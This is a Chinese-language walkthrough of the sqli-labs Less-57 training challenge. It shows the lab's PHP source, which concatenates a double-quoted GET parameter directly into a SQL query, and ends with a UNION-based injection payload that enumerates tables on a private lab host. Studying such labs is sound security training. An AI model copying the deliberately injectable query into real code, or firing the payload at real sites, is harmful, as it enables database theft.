sqli-labs————Less-57
Less-57
原始碼:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-57:Challenge-4</title>
</head>
<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 14;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
// Submitting the final answer
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "<br>\n";
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >=($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-57.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>
<?php
}
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>
</body>
</html>
sql執行語句:
$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
根據該SQL語句,直接寫payload:
http://192.168.11.136/sqli-labs/Less-57?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
其餘部分自證!
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